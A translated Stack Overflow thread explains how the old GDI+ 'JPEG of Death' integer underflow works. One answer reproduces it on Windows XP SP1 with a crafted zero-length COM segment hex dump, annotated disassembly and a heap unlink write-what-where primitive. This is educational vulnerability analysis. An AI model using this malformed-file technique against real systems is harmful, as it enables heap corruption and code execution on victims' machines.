JPEG of Death 취약점은 어떻게 작동합니까?


94

Windows XP 및 Windows Server 2003 에서 GDI +에 대한 오래된 공격에 대해 제가 작업중인 프로젝트에서 JPEG of death라고 부르는 내용을 읽었 습니다.

익스플로잇은 다음 링크에 잘 설명되어 있습니다. http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

기본적으로 JPEG 파일에는 주석 필드 (비어있을 수 있음)가 포함 된 COM 섹션과 COM 크기가 포함 된 2 바이트 값이 포함됩니다. 주석이 없으면 크기는 2입니다. 판독기 (GDI +)는 크기를 읽고 2를 빼고 적절한 크기의 버퍼를 할당하여 힙의 주석을 복사합니다. 공격은 0필드에 값을 두는 것을 포함 합니다. GDI +는을 빼고 2값이 -2 (0xFFFe)으로 부호없는 정수로 변환 0XFFFFFFFE됩니다 memcpy.

샘플 코드 :

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

관찰 malloc(0)세 번째 줄에 힙에 할당되지 않은 메모리에 대한 포인터를 반환해야합니다. 어떻게 0XFFFFFFFE바이트 ( 4GB!!!!)를 쓰면 프로그램이 중단되지 않을까요? 이것은 힙 영역을 넘어서 다른 프로그램과 OS의 공간에 기록됩니까? 그러면 어떻게됩니까?

내가 이해하는 memcpy것처럼 단순히 n대상에서 소스로 문자를 복사 합니다. 이 경우, 소스는 스택에 힙의 대상, 그리고해야 n입니다 4GB.


malloc은 힙에서 메모리를 할당합니다. 나는이 방어 적이기 전에 메모리가 할당 된 후 이루어졌다 악용 생각
iedoc

참고로 , 값을 부호없는 정수 (4 바이트)로 승격시키는 것은 memcpy가 아니라 빼기입니다.
개정

1
라이브 예제로 이전 답변을 업데이트했습니다. malloc에드 크기는 2 바이트가 아닌 것입니다 0xFFFFFFFE. 이 엄청난 크기는 할당 크기가 아닌 복사본 크기에만 사용됩니다.
Neitsa 2015

답변:


96

이 취약점은 확실히 힙 오버 플로우 였습니다.

0XFFFFFFFE 바이트 (4GB !!!!)를 작성하면 프로그램이 충돌하지 않을 수 있습니까?

아마도 그럴 것이지만 어떤 경우에는 크래시가 발생하기 전에 악용 할 시간이 있습니다 (때로는 프로그램을 정상 실행으로 되돌리고 크래시를 피할 수 있습니다).

memcpy ()가 시작되면 복사본이 다른 힙 블록이나 힙 관리 구조의 일부 (예 : 여유 목록, 사용 중 목록 등)를 덮어 씁니다.

어느 시점에서 복사본은 할당되지 않은 페이지를 만나고 쓰기시 AV (액세스 위반)를 트리거합니다. 그런 다음 GDI +는 힙에 새 블록을 할당하려고 시도합니다 ( ntdll! RtlAllocateHeap 참조 ) ...하지만 힙 구조는 이제 모두 엉망이됩니다.

이때 JPEG 이미지를 신중하게 작성하여 제어 된 데이터로 힙 관리 구조를 덮어 쓸 수 있습니다. 시스템이 새 블록을 할당하려고 할 때 아마도 사용 가능한 목록에서 (사용 가능한) 블록의 연결을 해제 할 것입니다.

블록은 (특히) flink (정방향 링크, 목록의 다음 블록) 및 깜박임 (역방향 링크, 목록의 이전 블록) 포인터로 관리됩니다. flink와 blink를 모두 제어하면 쓸 수있는 내용과 쓸 수있는 위치를 제어 할 수있는 WRITE4 (What / Where 조건 쓰기)가있을 수 있습니다.

이 시점에서 함수 포인터 ( SEH [Structured Exception Handlers] 포인터는 2004 년 당시 선택 대상이었습니다)를 덮어 쓰고 코드 실행을 얻을 수 있습니다.

블로그 게시물 힙 손상 : 사례 연구를 참조하십시오 .

참고 : 내가 freelist를 사용하여 악용에 대해 썼지 만 공격자는 다른 힙 메타 데이터를 사용하여 다른 경로를 선택할 수 있지만 ( "힙 메타 데이터"는 시스템에서 힙을 관리하는 데 사용하는 구조이고 flink 및 blink는 힙 메타 데이터의 일부입니다) 링크 해제 악용은 아마도 "가장 쉬운"것입니다. "힙 악용"에 대한 Google 검색은 이에 대한 수많은 연구 결과를 반환합니다.

이것은 힙 영역을 넘어서 다른 프로그램과 OS의 공간에 기록됩니까?

못. 최신 OS는 가상 주소 공간의 개념을 기반으로하므로 각 프로세스에는 32 비트 시스템에서 최대 4GB의 메모리 주소를 지정할 수있는 자체 가상 주소 공간이 있습니다. 나머지는 커널 용입니다.)

간단히 말해, 프로세스는 다른 프로세스의 메모리에 액세스 할 수 없습니다 (일부 서비스 / API를 통해 커널에 요청하는 경우를 제외하고 커널은 호출자가 그렇게 할 수있는 권한이 있는지 확인합니다).


저는 이번 주말에이 취약점을 테스트하기로 결정했습니다. 그래서 우리는 순수한 추측보다는 무슨 일이 일어나고 있는지에 대한 좋은 아이디어를 얻을 수있었습니다. 취약점은 이제 10 년이되었으므로이 답변에서 악용 부분에 대해 설명하지 않았지만 이에 대해 작성해도 괜찮다고 생각했습니다.

계획

가장 어려운 작업은 2004 년과 마찬가지로 SP1 만있는 Windows XP를 찾는 것이 었습니다. :)

그런 다음 아래와 같이 단일 픽셀로만 구성된 JPEG 이미지를 다운로드했습니다 (간결성을 위해 잘라 냄).

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

JPEG 그림은 이진 마커 (세그먼트를 유도함)로 구성됩니다. 위 이미지에서는 FF D8SOI (Start Of Image) 마커이고 FF E0는 애플리케이션 마커입니다.

마커 세그먼트의 첫 번째 매개 변수 (SOI와 같은 일부 마커 제외)는 길이 매개 변수를 포함하고 2 바이트 마커를 제외하고 마커 세그먼트의 바이트 수를 인코딩하는 2 바이트 길이 매개 변수입니다.

FFFE마커는 엄격한 순서가 없기 때문에 SOI 바로 뒤에 COM 마커 (0x ) 를 추가 했습니다.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

COM 세그먼트의 길이 00 00는 취약점을 유발하도록 설정됩니다 . 또한 COM 마커 바로 뒤에 0xFFFC 바이트를 반복 패턴 (16 진수 4 바이트 숫자)으로 삽입했습니다. 이는 취약점을 "악용"할 때 유용합니다.

디버깅

이미지를 두 번 클릭하면 Windows 셸 ( "explorer.exe"라고도 함) 어딘가에 gdiplus.dll라는 함수 의 버그가 즉시 트리거됩니다 GpJpegDecoder::read_jpeg_marker().

이 함수는 그림의 각 마커에 대해 호출됩니다. 간단히 : 마커 세그먼트 크기를 읽고 길이가 세그먼트 크기 인 버퍼를 할당하고 세그먼트의 내용을 새로 할당 된 버퍼에 복사합니다.

여기 함수의 시작 :

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eaxregister는 세그먼트 크기를 가리키며 edi이미지에 남아있는 바이트 수입니다.

그런 다음 코드는 최상위 바이트 (길이는 16 비트 값)부터 시작하여 세그먼트 크기를 읽습니다.

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

그리고 최하위 바이트 :

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

이 작업이 완료되면 다음 계산에 따라 세그먼트 크기를 사용하여 버퍼를 할당합니다.

alloc_size = segment_size + 2

이것은 아래 코드로 수행됩니다.

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

우리의 경우 세그먼트 크기가 0이므로 버퍼에 할당 된 크기는 2 바이트 입니다.

취약점은 할당 직후입니다.

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

코드는 전체 세그먼트 크기 (이 경우 0)에서 segment_size 크기 (세그먼트 길이는 2 바이트 값)를 빼고 정수 언더 플로로 끝납니다. 0-2 = 0xFFFFFFFE

그런 다음 코드는 이미지에서 구문 분석 할 바이트가 남아 있는지 (true) 확인한 다음 복사본으로 이동합니다.

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

위의 스 니펫은 복사 크기가 0xFFFFFFFE 32 비트 청크임을 보여줍니다. 소스 버퍼 (그림의 내용)가 제어되고 대상은 힙의 버퍼입니다.

쓰기 조건

복사는 메모리 페이지 끝에 도달 할 때 액세스 위반 (AV) 예외를 트리거합니다 (소스 포인터 또는 대상 포인터에서 발생할 수 있음). AV가 트리거되면 매핑되지 않은 페이지가 나타날 때까지 복사본이 모든 후속 힙 블록을 이미 덮어 썼기 때문에 힙은 이미 취약한 상태에 있습니다.

이 버그를 악용 할 수있는 이유는 3 개의 SEH (Structured Exception Handler; 이것은 try / except at low level)가 코드의이 부분에서 예외를 포착한다는 것입니다. 보다 정확하게는 첫 번째 SEH가 스택을 풀어서 다른 JPEG 마커를 다시 구문 분석하여 예외를 트리거 한 마커를 완전히 건너 뜁니다.

SEH가 없으면 코드가 전체 프로그램을 중단했을 것입니다. 따라서 코드는 COM 세그먼트를 건너 뛰고 다른 세그먼트를 구문 분석합니다. 그래서 우리 GpJpegDecoder::read_jpeg_marker()는 새로운 세그먼트로 돌아가서 코드가 새로운 버퍼를 할당 할 때 :

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

시스템은 사용 가능 목록에서 블록 연결을 해제합니다. 이미지의 내용이 메타 데이터 구조를 덮어 쓴 경우가 있습니다. 따라서 제어 된 메타 데이터로 연결 해제를 제어합니다. 힙 관리자의 시스템 (ntdll) 어딘가에있는 아래 코드 :

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

이제 우리가 원하는 것을 원하는 곳에 쓸 수 있습니다 ...


3

GDI의 코드를 모르기 때문에 아래 내용은 추측 일뿐입니다.

음, 떠오르는 한 가지는 일부 OS에서 발견 한 한 가지 동작입니다 (Windows XP에이 기능이 있는지 모르겠습니다). new /로 할당 할 때 malloc실제로 RAM보다 더 많은 것을 할당 할 수 있습니다. 당신은 그 기억에 쓰지 않습니다.

이것은 실제로 리눅스 커널의 동작입니다.

www.kernel.org에서 :

프로세스 선형 주소 공간의 페이지가 반드시 메모리에 상주하는 것은 아닙니다. 예를 들어, 공간이 vm_area_struct 내에 예약되어 있으므로 프로세스를 대신하여 할당 된 할당은 즉시 충족되지 않습니다.

상주 메모리에 들어가려면 페이지 폴트가 트리거되어야합니다.

기본적으로 시스템에 실제로 할당되기 전에 메모리를 더티하게 만들어야합니다.

  unsigned int size=-1;
  char* comment = new char[size];

때로는 실제로 RAM에 실제 할당을하지 않을 수도 있습니다 (프로그램은 여전히 ​​4GB를 사용하지 않습니다). 이 동작을 Linux에서 본 적이 있지만 Windows 7 설치에서 지금 복제 할 수는 없습니다.

이 동작에서 시작하여 다음 시나리오가 가능합니다.

해당 메모리를 RAM에 존재하게하려면 더티 (기본적으로 memset 또는 다른 쓰기)로 만들어야합니다.

  memset(comment, 0, size);

그러나 취약점은 할당 실패가 아닌 버퍼 오버 플로우를 악용합니다.

즉, 내가 이것을 가지고 있다면 :

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

4GB의 연속 메모리 세그먼트가 없기 때문에 버퍼 이후 쓰기가 발생합니다.

4GB의 메모리 전체를 더럽 히기 위해 p에 아무것도 넣지 않았으며 memcpy메모리를 한 번에 더럽게 만드는지 아니면 페이지 단위로 만드는지 모르겠습니다 (페이지 단위라고 생각합니다).

결국 스택 프레임을 덮어 쓰게됩니다 (스택 버퍼 오버플로).

또 다른 가능한 취약점은 그림이 바이트 배열 (전체 파일을 버퍼로 읽음)로 메모리에 보관되고 주석 크기가 중요하지 않은 정보를 건너 뛰기 위해 사용 된 경우입니다.

예를 들면

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

앞서 언급했듯이 GDI가 해당 크기를 할당하지 않으면 프로그램이 중단되지 않습니다.


4
64 비트 시스템에서 4GB는 큰 문제가 아닙니다 (애 디스 공간에 대해 말하면). 그러나 32 비트 시스템에서는 (그들도 취약한 것처럼 보임) 4GB의 주소 공간을 예약 할 수 없습니다. 그게 전부이기 때문입니다! 그래서는 malloc(-1U)반드시 실패, 수익 NULLmemcpy()충돌합니다.
rodrigo

9
나는이 줄이 사실이라고 생각하지 않는다 : "결국 다른 프로세스 주소에 쓰게 될 것이다." 일반적으로 한 프로세스는 다른 프로세스의 메모리에 액세스 할 수 없습니다. MMU 이점을 참조하십시오 .
chue x

@MMU 혜택 네, 맞습니다. 나는 그것이 정상적인 힙 경계를 넘어서 스택 프레임을 덮어 쓰기 시작한다고 말하려고했습니다. 지적 해 주셔서 감사합니다.
MichaelCMS
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.